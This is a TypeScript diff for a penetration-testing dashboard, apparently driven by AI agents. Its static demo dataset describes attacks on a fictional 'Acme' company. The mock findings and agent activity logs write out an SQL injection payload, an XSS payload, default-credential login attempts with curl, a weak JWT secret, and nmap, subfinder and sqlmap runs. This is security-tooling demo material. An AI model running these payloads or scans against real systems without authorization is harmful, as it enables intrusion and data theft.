subsets: ["latin"],
|
||||
variable: "--font-inter",
|
||||
});
|
||||
|
||||
const notoSans = Noto_Sans({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-noto-sans",
|
||||
});
|
||||
|
||||
const roboto = Roboto({
|
||||
subsets: ["latin"],
|
||||
weight: ["400", "500", "700"],
|
||||
variable: "--font-roboto",
|
||||
});
|
||||
|
||||
const geist = Geist({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-geist",
|
||||
});
|
||||
|
||||
const outfit = Outfit({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-outfit",
|
||||
});
|
||||
|
||||
const geistMono = Geist_Mono({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-geist-mono",
|
||||
});
|
||||
|
||||
const dmSans = DM_Sans({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-dm-sans",
|
||||
});
|
||||
|
||||
const nunitoSans = Nunito_Sans({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-nunito-sans",
|
||||
});
|
||||
|
||||
const figtree = Figtree({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-figtree",
|
||||
});
|
||||
|
||||
const raleway = Raleway({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-raleway",
|
||||
});
|
||||
|
||||
const publicSans = Public_Sans({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-public-sans",
|
||||
});
|
||||
|
||||
const jetBrainsMono = JetBrains_Mono({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-jetbrains-mono",
|
||||
});
|
||||
|
||||
const notoSerif = Noto_Serif({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-noto-serif",
|
||||
});
|
||||
|
||||
const robotoSlab = Roboto_Slab({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-roboto-slab",
|
||||
});
|
||||
|
||||
const merriweather = Merriweather({
|
||||
subsets: ["latin"],
|
||||
weight: ["400", "700"],
|
||||
variable: "--font-merriweather",
|
||||
});
|
||||
|
||||
const lora = Lora({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-lora",
|
||||
});
|
||||
|
||||
const playfairDisplay = Playfair_Display({
|
||||
subsets: ["latin"],
|
||||
variable: "--font-playfair-display",
|
||||
});
|
||||
|
||||
export const fontRegistry = {
|
||||
geist: {
|
||||
label: "Geist",
|
||||
font: geist,
|
||||
},
|
||||
inter: {
|
||||
label: "Inter",
|
||||
font: inter,
|
||||
},
|
||||
notoSans: {
|
||||
label: "Noto Sans",
|
||||
font: notoSans,
|
||||
},
|
||||
nunitoSans: {
|
||||
label: "Nunito Sans",
|
||||
font: nunitoSans,
|
||||
},
|
||||
figtree: {
|
||||
label: "Figtree",
|
||||
font: figtree,
|
||||
},
|
||||
roboto: {
|
||||
label: "Roboto",
|
||||
font: roboto,
|
||||
},
|
||||
raleway: {
|
||||
label: "Raleway",
|
||||
font: raleway,
|
||||
},
|
||||
dmSans: {
|
||||
label: "DM Sans",
|
||||
font: dmSans,
|
||||
},
|
||||
publicSans: {
|
||||
label: "Public Sans",
|
||||
font: publicSans,
|
||||
},
|
||||
outfit: {
|
||||
label: "Outfit",
|
||||
font: outfit,
|
||||
},
|
||||
geistMono: {
|
||||
label: "Geist Mono",
|
||||
font: geistMono,
|
||||
},
|
||||
geistPixelSquare: {
|
||||
label: "Geist Pixel Square",
|
||||
font: GeistPixelSquare,
|
||||
},
|
||||
jetBrainsMono: {
|
||||
label: "JetBrains Mono",
|
||||
font: jetBrainsMono,
|
||||
},
|
||||
notoSerif: {
|
||||
label: "Noto Serif",
|
||||
font: notoSerif,
|
||||
},
|
||||
robotoSlab: {
|
||||
label: "Roboto Slab",
|
||||
font: robotoSlab,
|
||||
},
|
||||
merriweather: {
|
||||
label: "Merriweather",
|
||||
font: merriweather,
|
||||
},
|
||||
lora: {
|
||||
label: "Lora",
|
||||
font: lora,
|
||||
},
|
||||
playfairDisplay: {
|
||||
label: "Playfair Display",
|
||||
font: playfairDisplay,
|
||||
},
|
||||
} as const;
|
||||
|
||||
export type FontKey = keyof typeof fontRegistry;
|
||||
|
||||
export const fontVars = (Object.values(fontRegistry) as Array<(typeof fontRegistry)[FontKey]>)
|
||||
.map((f) => f.font.variable)
|
||||
.join(" ");
|
||||
|
||||
export const fontOptions = (Object.entries(fontRegistry) as Array<[FontKey, (typeof fontRegistry)[FontKey]]>).map(
|
||||
([key, f]) => ({
|
||||
key,
|
||||
label: f.label,
|
||||
variable: f.font.variable,
|
||||
}),
|
||||
);
|
||||
@@ -0,0 +1,19 @@
|
||||
"use client";
|
||||
|
||||
export function setLocalStorageValue(key: string, value: string) {
|
||||
try {
|
||||
window.localStorage.setItem(key, value);
|
||||
} catch (error) {
|
||||
if (process.env.NODE_ENV !== "production") {
|
||||
console.error("[localStorage] Failed to write value:", error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function getLocalStorageValue(key: string): string | null {
|
||||
try {
|
||||
return window.localStorage.getItem(key);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,518 @@
|
||||
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
|
||||
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
|
||||
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
|
||||
// sessions/activity, traffic, agents, etc.) so every page looks populated.
|
||||
|
||||
import type {
|
||||
Activity, Agent, AgentDetail, Asset, Audit, Company, Conversation,
|
||||
ConvTokenSummary, DailyTokenBucket, Edge, Finding, InterceptApprovalRow,
|
||||
InterceptPending, InterceptRule, LLMProfile, MCPServer, MCPTool, PromptVar,
|
||||
PromptVersion, Settings, SkillItem, Stats, TaskNode, Task, TokenTotal,
|
||||
TokenUsage, Tool, TrafficResp, TrafficDetail,
|
||||
} from "@/lib/types";
|
||||
|
||||
const T = (iso: string) => iso; // readability helper for timestamps
|
||||
|
||||
// ── Tasks ──────────────────────────────────────────────────────────────────
|
||||
export const ACTIVE_TASK = "t-acme-web";
|
||||
|
||||
export const tasks: Task[] = [
|
||||
{
|
||||
id: "t-acme-web",
|
||||
description: "Acme 官网与后台外部渗透(acme.com)",
|
||||
goal: "拿到 acme.com 后台管理权限,确认可读取用户敏感数据。",
|
||||
status: "running",
|
||||
created_at: T("2026-07-24T09:12:00Z"),
|
||||
created_unix: 1785489120,
|
||||
last_activity: T("2026-07-26T03:58:22Z"),
|
||||
last_activity_unix: 1785643102,
|
||||
paused: false, active: true, in_flight: 3, stalled: false,
|
||||
goals_total: 5, goals_met: 2, engine_mode: "exploring",
|
||||
llm_profile_id: 1,
|
||||
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
|
||||
},
|
||||
{
|
||||
id: "t-acme-api",
|
||||
description: "api.acme.com 越权与注入测试",
|
||||
goal: "评估 api.acme.com 订单/用户接口的越权(IDOR)与注入风险。",
|
||||
status: "running",
|
||||
created_at: T("2026-07-25T14:05:00Z"),
|
||||
created_unix: 1785592500,
|
||||
last_activity: T("2026-07-26T03:40:10Z"),
|
||||
last_activity_unix: 1785642010,
|
||||
paused: false, active: false, in_flight: 2, stalled: false,
|
||||
goals_total: 4, goals_met: 1, engine_mode: "exploring",
|
||||
llm_profile_id: 1,
|
||||
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
|
||||
},
|
||||
{
|
||||
id: "t-shop-pay",
|
||||
description: "shop.acme.com 支付与订单链路",
|
||||
goal: "评估支付与订单接口的越权、金额篡改与竞态风险。",
|
||||
status: "paused",
|
||||
created_at: T("2026-07-22T08:30:00Z"),
|
||||
created_unix: 1785313800,
|
||||
last_activity: T("2026-07-23T18:40:10Z"),
|
||||
last_activity_unix: 1785436810,
|
||||
paused: true, active: false, in_flight: 0, stalled: false,
|
||||
goals_total: 4, goals_met: 1, engine_mode: "paused",
|
||||
llm_profile_id: 2,
|
||||
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
|
||||
},
|
||||
{
|
||||
id: "t-vpn-edge",
|
||||
description: "对外暴露面侦察(VPN / 边界服务)",
|
||||
goal: "识别 acme.com 对外暴露的可利用边界服务。",
|
||||
status: "done",
|
||||
created_at: T("2026-07-18T08:00:00Z"),
|
||||
created_unix: 1784966400,
|
||||
completed_at: T("2026-07-20T22:11:00Z"),
|
||||
completed_unix: 1785190260,
|
||||
last_activity: T("2026-07-20T22:11:00Z"),
|
||||
last_activity_unix: 1785190260,
|
||||
paused: false, active: false, in_flight: 0, stalled: false,
|
||||
goals_total: 3, goals_met: 3, engine_mode: "idle",
|
||||
llm_profile_id: 1,
|
||||
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
|
||||
},
|
||||
];
|
||||
|
||||
export const getTask = (id: string) => tasks.find((t) => t.id === id);
|
||||
|
||||
const grandTotal: TokenTotal = tasks.reduce(
|
||||
(a, t) => ({
|
||||
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
|
||||
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
|
||||
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
|
||||
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
|
||||
}),
|
||||
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
|
||||
);
|
||||
|
||||
// ── Stats ──────────────────────────────────────────────────────────────────
|
||||
export function stats(taskId?: string): Stats & { active_task?: unknown } {
|
||||
const base: Stats = {
|
||||
assets: assets.length,
|
||||
engine_mode: "exploring",
|
||||
llm_configured: true,
|
||||
roe_enabled: true,
|
||||
findings_confirmed: findings.filter((f) => f.severity !== "low").length,
|
||||
};
|
||||
const t = taskId ? getTask(taskId) : getTask(ACTIVE_TASK);
|
||||
if (!t) return base;
|
||||
return {
|
||||
...base,
|
||||
engine_mode: t.engine_mode ?? "idle",
|
||||
findings_confirmed: findings.filter((f) => f.task_id === t.id).length,
|
||||
active_task: {
|
||||
id: t.id, in_flight: t.in_flight, goals_total: t.goals_total,
|
||||
goals_met: t.goals_met, engine_mode: t.engine_mode, paused: t.paused,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
// ── Company + Assets (new unified model) ─────────────────────────────────────
|
||||
export const companies: Company[] = [
|
||||
{
|
||||
id: 1, name: "Acme Corp", logo: "",
|
||||
asset_count: 18,
|
||||
scope: [
|
||||
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域" },
|
||||
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
|
||||
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
export const assets: Asset[] = [
|
||||
{ id: 1, type: "root_domain", company_id: 1, task_ids: [1], domain: "acme.com", root_domain: "acme.com", icp: "京ICP备2021xxxx号", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:00:00Z") },
|
||||
{ id: 2, type: "subdomain", company_id: 1, task_ids: [1], domain: "www.acme.com", root_domain: "acme.com", record_type: "CNAME", record_value: "acme.com", last_seen: T("2026-07-26T02:01:00Z") },
|
||||
{ id: 3, type: "subdomain", company_id: 1, task_ids: [2], domain: "api.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.11"], last_seen: T("2026-07-26T02:02:00Z") },
|
||||
{ id: 4, type: "subdomain", company_id: 1, task_ids: [3], domain: "shop.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.12"], last_seen: T("2026-07-26T02:03:00Z") },
|
||||
{ id: 5, type: "subdomain", company_id: 1, task_ids: [4], domain: "vpn.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["198.51.100.20"], last_seen: T("2026-07-20T02:00:00Z") },
|
||||
{ id: 6, type: "subdomain", company_id: 1, task_ids: [1], domain: "admin.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:04:00Z") },
|
||||
{ id: 7, type: "ip", company_id: 1, task_ids: [1, 2], ip: "203.0.113.10", c_segment: "203.0.113.0", open_ports: [{ port: 80, service: "http" }, { port: 443, service: "https" }, { port: 22, service: "ssh" }], last_seen: T("2026-07-26T02:05:00Z") },
|
||||
{ id: 8, type: "ip", company_id: 1, task_ids: [2], ip: "203.0.113.11", c_segment: "203.0.113.0", open_ports: [{ port: 443, service: "https" }], last_seen: T("2026-07-26T02:06:00Z") },
|
||||
{ id: 9, type: "ip", company_id: 1, task_ids: [4], ip: "198.51.100.20", c_segment: "198.51.100.0", open_ports: [{ port: 443, service: "https" }, { port: 500, service: " isakmp" }], last_seen: T("2026-07-20T02:00:00Z") },
|
||||
{ id: 10, type: "service", company_id: 1, task_ids: [1], ip: "203.0.113.10", port: 443, service_type: "https", service_name: "nginx/1.24.0", last_seen: T("2026-07-26T02:07:00Z") },
|
||||
{ id: 11, type: "service", company_id: 1, task_ids: [4], ip: "198.51.100.20", port: 22, service_type: "ssh", service_name: "OpenSSH 8.9p1", last_seen: T("2026-07-20T02:00:00Z") },
|
||||
{ id: 12, type: "app", company_id: 1, task_ids: [1], url: "https://www.acme.com", app_name: "Acme 官网", category: "corp", status_code: 200, content_length: 48213, page_title: "Acme Corp — 企业官网", technologies: ["Nginx", "React", "Cloudflare"], favicon_mmh3: "-1580860059", last_seen: T("2026-07-26T02:08:00Z") },
|
||||
{ id: 13, type: "app", company_id: 1, task_ids: [1], url: "https://admin.acme.com", app_name: "后台管理", category: "admin", status_code: 200, content_length: 12044, page_title: "Acme Admin 登录", technologies: ["Nginx", "Vue", "Element-UI"], last_seen: T("2026-07-26T02:09:00Z") },
|
||||
{ id: 14, type: "app", company_id: 1, task_ids: [2], url: "https://api.acme.com", app_name: "REST API", category: "api", status_code: 401, content_length: 45, page_title: "", technologies: ["Kong", "Node.js"], last_seen: T("2026-07-26T02:10:00Z") },
|
||||
{ id: 15, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/orders", method: "GET", status_code: 200, params: [{ name: "id", in: "query" }, { name: "page", in: "query" }], last_seen: T("2026-07-26T02:11:00Z") },
|
||||
{ id: 16, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/users/me", method: "GET", status_code: 200, last_seen: T("2026-07-26T02:12:00Z") },
|
||||
{ id: 17, type: "endpoint", company_id: 1, task_ids: [1], url: "https://admin.acme.com/login", method: "POST", status_code: 200, params: [{ name: "username" }, { name: "password" }], last_seen: T("2026-07-26T02:13:00Z") },
|
||||
{ id: 18, type: "endpoint", company_id: 1, task_ids: [1], url: "https://www.acme.com/search", method: "GET", status_code: 200, params: [{ name: "q", in: "query" }], last_seen: T("2026-07-26T02:14:00Z") },
|
||||
];
|
||||
|
||||
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
|
||||
m[a.type] = (m[a.type] ?? 0) + 1;
|
||||
return m;
|
||||
}, {});
|
||||
|
||||
// ── Findings ─────────────────────────────────────────────────────────────────
|
||||
export const findings: Finding[] = [
|
||||
{ id: "f-1", vulnclass: "SQL Injection", severity: "high", summary: "www.acme.com/search q 参数存在报错型 SQL 注入", evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本报错,可读库结构。", intent_id: "i-2", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-26T01:20:00Z") },
|
||||
{ id: "f-2", vulnclass: "IDOR", severity: "high", summary: "api.acme.com/v1/orders?id= 可越权读取他人订单", evidence: "将 id=1001 改为 id=1002 返回他人订单(含收货地址、手机号),无归属校验。", intent_id: "i-5", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-26T02:44:00Z") },
|
||||
{ id: "f-3", vulnclass: "Weak JWT", severity: "high", summary: "API JWT 使用弱密钥、可离线爆破伪造", evidence: "HS256,密钥 'secret',john 5 秒破解 → 可伪造任意 sub 越权。", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-26T03:02:00Z") },
|
||||
{ id: "f-4", vulnclass: "Reflected XSS", severity: "medium", summary: "搜索页对 q 参数未转义,反射型 XSS", evidence: "q=<script>alert(document.domain)</script> 原样回显于结果标题。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T22:10:00Z") },
|
||||
{ id: "f-5", vulnclass: "Exposed .git", severity: "medium", summary: "www.acme.com 暴露 .git 目录,可还原源码", evidence: "GET /.git/HEAD → 200;git-dumper 还原出后端源码与数据库连接串注释。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:30:00Z") },
|
||||
{ id: "f-6", vulnclass: "Default Credentials", severity: "high", summary: "admin.acme.com 后台默认口令 admin/admin123", evidence: "登录成功,进入管理后台,可管理用户与订单。", intent_id: "i-3", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-26T03:50:00Z") },
|
||||
{ id: "f-7", vulnclass: "Open Redirect", severity: "low", summary: "登录后 next 参数任意跳转", evidence: "/login?next=https://evil.example 登录后 302 跳到外站。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T19:12:00Z") },
|
||||
{ id: "f-8", vulnclass: "Missing Rate Limit", severity: "medium", summary: "登录接口无速率限制,可暴力破解", evidence: "1000 次/分钟无锁定,无验证码。", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T18:40:00Z") },
|
||||
{ id: "f-9", vulnclass: "Verbose Error", severity: "low", summary: "API 500 返回堆栈,泄露路径与框架版本", evidence: "触发 500 返回 Node.js 堆栈,泄露绝对路径与依赖版本。", task_id: "t-acme-api", task_description: "api.acme.com 越权与注入测试", ts: T("2026-07-25T23:05:00Z") },
|
||||
{ id: "f-10", vulnclass: "Outdated Component", severity: "medium", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") },
|
||||
];
|
||||
|
||||
// ── Exploration graph (active task) ──────────────────────────────────────────
|
||||
// 现行模型:根是 fact/state=origin(渲染为「起点」);payload 为 JSON 字符串,
|
||||
// goal 取 text、其余取 summary。结构:根→目标(spawns)→意图(spawns)→事实/漏洞(yields),
|
||||
// 漏洞→目标(proves),提示→意图(derived_from)。
|
||||
const P = (o: Record<string, string>) => JSON.stringify(o);
|
||||
|
||||
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
|
||||
nodes: [
|
||||
{ id: "root", type: "fact", payload: P({ summary: "根:acme.com 外部渗透" }), priority: 0, state: "origin", origin: "system", ts: T("2026-07-24T09:12:00Z") },
|
||||
// 目标(由 goals agent 拆解)
|
||||
{ id: "g1", type: "goal", payload: P({ text: "获取后台管理权限" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-24T09:13:00Z") },
|
||||
{ id: "g2", type: "goal", payload: P({ text: "读取用户敏感数据" }), priority: 8, state: "open", origin: "goals", ts: T("2026-07-24T09:13:00Z") },
|
||||
// 意图(由 planner 从目标派生)
|
||||
{ id: "i1", type: "intent", payload: P({ summary: "acme.com 子域枚举与端口扫描" }), priority: 6, state: "done", origin: "planner", ts: T("2026-07-24T09:20:00Z") },
|
||||
{ id: "i2", type: "intent", payload: P({ summary: "admin 后台默认口令 / 弱口令测试" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-26T03:30:00Z") },
|
||||
{ id: "i3", type: "intent", payload: P({ summary: "枚举后台功能与用户数据接口" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:55:00Z") },
|
||||
{ id: "i4", type: "intent", payload: P({ summary: "www.acme.com/search 页 SQL 注入探测" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:00:00Z") },
|
||||
{ id: "i5", type: "intent", payload: P({ summary: "api.acme.com 订单接口越权(IDOR)测试" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T02:30:00Z") },
|
||||
// 事实
|
||||
{ id: "fa1", type: "fact", payload: P({ summary: "发现子域 admin.acme.com(Element-UI 后台)" }), priority: 0, state: "open", origin: "work#1", ts: T("2026-07-24T09:40:00Z") },
|
||||
{ id: "fa2", type: "fact", payload: P({ summary: "search 页 q 参数为 error-based 注入点(MSSQL)" }), priority: 0, state: "open", origin: "work#4", ts: T("2026-07-25T22:05:00Z") },
|
||||
// 漏洞
|
||||
{ id: "fi1", type: "finding", payload: P({ summary: "后台默认口令 admin/admin123" }), priority: 0, state: "confirmed", origin: "work#2", ts: T("2026-07-26T03:50:00Z") },
|
||||
{ id: "fi2", type: "finding", payload: P({ summary: "SQL 注入(search q)可读 acme_prod 库" }), priority: 0, state: "confirmed", origin: "work#4", ts: T("2026-07-26T01:20:00Z") },
|
||||
{ id: "fi3", type: "finding", payload: P({ summary: "IDOR:/v1/orders?id= 可越权读他人订单" }), priority: 0, state: "confirmed", origin: "work#5", ts: T("2026-07-26T02:44:00Z") },
|
||||
// 提示(主 agent 注入)
|
||||
{ id: "h1", type: "hint", payload: P({ summary: "后台是 Element-UI,优先跑默认口令表" }), priority: 5, state: "consumed", origin: "mainagent", ts: T("2026-07-26T03:20:00Z") },
|
||||
],
|
||||
edges: [
|
||||
{ src: "root", dst: "g1", rel: "spawns" },
|
||||
{ src: "root", dst: "g2", rel: "spawns" },
|
||||
{ src: "g1", dst: "i1", rel: "spawns" },
|
||||
{ src: "g1", dst: "i2", rel: "spawns" },
|
||||
{ src: "g1", dst: "i3", rel: "spawns" },
|
||||
{ src: "g2", dst: "i4", rel: "spawns" },
|
||||
{ src: "g2", dst: "i5", rel: "spawns" },
|
||||
{ src: "i1", dst: "fa1", rel: "yields" },
|
||||
{ src: "i4", dst: "fa2", rel: "yields" },
|
||||
{ src: "i2", dst: "fi1", rel: "yields" },
|
||||
{ src: "i4", dst: "fi2", rel: "yields" },
|
||||
{ src: "i5", dst: "fi3", rel: "yields" },
|
||||
{ src: "fi1", dst: "g1", rel: "proves" },
|
||||
{ src: "h1", dst: "i2", rel: "derived_from" },
|
||||
],
|
||||
};
|
||||
|
||||
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
|
||||
export const frontier: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent" && (n.state === "open" || n.state === "running"));
|
||||
|
||||
// ── Activity(执行过程)─────────────────────────────────────────────────────
|
||||
// 会话由 sessions-tab 从「意图」派生(session.id = intent.id),transcript = 匹配
|
||||
// intent_id 的活动流。planner=worker "planner"、主 agent=worker "mainagent"。
|
||||
// 每个 worker 会话含完整工具执行链(tool_use → tool_result → …→ result)。
|
||||
export const activity: Activity[] = [
|
||||
// planner
|
||||
{ seq: 1, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "第 0 轮 · 目标拆解" },
|
||||
{ seq: 2, worker: "planner", ts: T("2026-07-24T09:12:30Z"), kind: "thinking", summary: "acme.com 是企业站,攻击面:官网(www)、后台(admin)、API(api)、商城(shop)。先枚举资产,再挑高价值目标。" },
|
||||
{ seq: 3, worker: "planner", ts: T("2026-07-24T09:13:00Z"), kind: "text", summary: "拆出两个目标:① 获取后台管理权限 ② 读取用户敏感数据。派生首批意图:子域枚举、后台口令测试、注入探测、API 越权。" },
|
||||
{ seq: 4, worker: "planner", ts: T("2026-07-26T03:55:00Z"), kind: "round", summary: "第 3 轮 · 复盘" },
|
||||
{ seq: 5, worker: "planner", ts: T("2026-07-26T03:55:10Z"), kind: "text", summary: "后台已拿下(g1 达成)。继续 g2:派生「枚举后台用户接口」「API IDOR 测试」两条意图并提高优先级。" },
|
||||
|
||||
// work#1 · i1 子域枚举与端口扫描(done)
|
||||
{ seq: 10, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:00Z"), kind: "thinking", summary: "先被动侦察子域,再对存活主机做端口/服务识别。" },
|
||||
{ seq: 11, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:20:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11", summary: "subfinder -d acme.com -silent | httpx -silent -sc -title" },
|
||||
{ seq: 12, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:22:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11", summary: "www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]", detail: "5 个存活子域,其中 admin 是后台登录页。" },
|
||||
{ seq: 13, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:23:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12", summary: "nmap -sV -T4 -p- 203.0.113.10" },
|
||||
{ seq: 14, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:26:40Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12", summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0", detail: "开放 22/80/443。" },
|
||||
{ seq: 15, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:00Z"), kind: "tool_use", tool: "upsert_asset", tool_use_id: "t13", summary: "upsert_asset × 6(子域+服务)" },
|
||||
{ seq: 16, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:27:01Z"), kind: "tool_result", tool: "upsert_asset", tool_use_id: "t13", summary: "6 assets upserted" },
|
||||
{ seq: 17, worker: "work#1", intent_id: "i1", ts: T("2026-07-24T09:40:00Z"), kind: "result", summary: "资产侦察完成,发现后台 admin.acme.com,交回图。", input_tokens: 96000, output_tokens: 6100, cache_read_tokens: 61000, cache_write_tokens: 9000 },
|
||||
|
||||
// work#2 · i2 后台默认口令(done,证明 g1)
|
||||
{ seq: 20, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:31:00Z"), kind: "thinking", summary: "后台是 Element-UI,登录接口无验证码、无速率限制。先试默认口令表,再上字典。" },
|
||||
{ seq: 21, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t21", summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'" },
|
||||
{ seq: 22, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t21", summary: "401", detail: "admin/admin 失败。" },
|
||||
{ seq: 23, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t22", summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login" },
|
||||
{ seq: 24, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:33Z"), kind: "tool_result", tool: "bash", tool_use_id: "t22", summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard", detail: "admin/admin123 登录成功,拿到会话 cookie。" },
|
||||
{ seq: 25, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "t23", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'" },
|
||||
{ seq: 26, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "t23", summary: "<title>Acme Admin · 控制台", detail: "确认已进入后台控制台。" },
|
||||
{ seq: 27, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t24", summary: "report_finding(Default Credentials, high)" },
|
||||
{ seq: 28, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t24", summary: "finding f-6 已记录,并连到目标 g1(proves)" },
|
||||
{ seq: 29, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:50:00Z"), kind: "result", summary: "后台默认口令确认,目标①达成。", input_tokens: 72000, output_tokens: 4800, cache_read_tokens: 48000, cache_write_tokens: 7200 },
|
||||
|
||||
// work#4 · i4 SQL 注入(done)
|
||||
{ seq: 40, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:01:00Z"), kind: "thinking", summary: "search?q= 结果页把 q 拼进标题,先手工加单引号看报错。" },
|
||||
{ seq: 41, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t41", summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'" },
|
||||
{ seq: 42, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:04Z"), kind: "tool_result", tool: "bash", tool_use_id: "t41", summary: "Unclosed quotation mark ... near '1'.", detail: "MSSQL 报错型注入迹象。" },
|
||||
{ seq: 43, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:03:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t42", summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2" },
|
||||
{ seq: 44, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t42", summary: "Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb", detail: "确认可注入,枚举出 4 个库。" },
|
||||
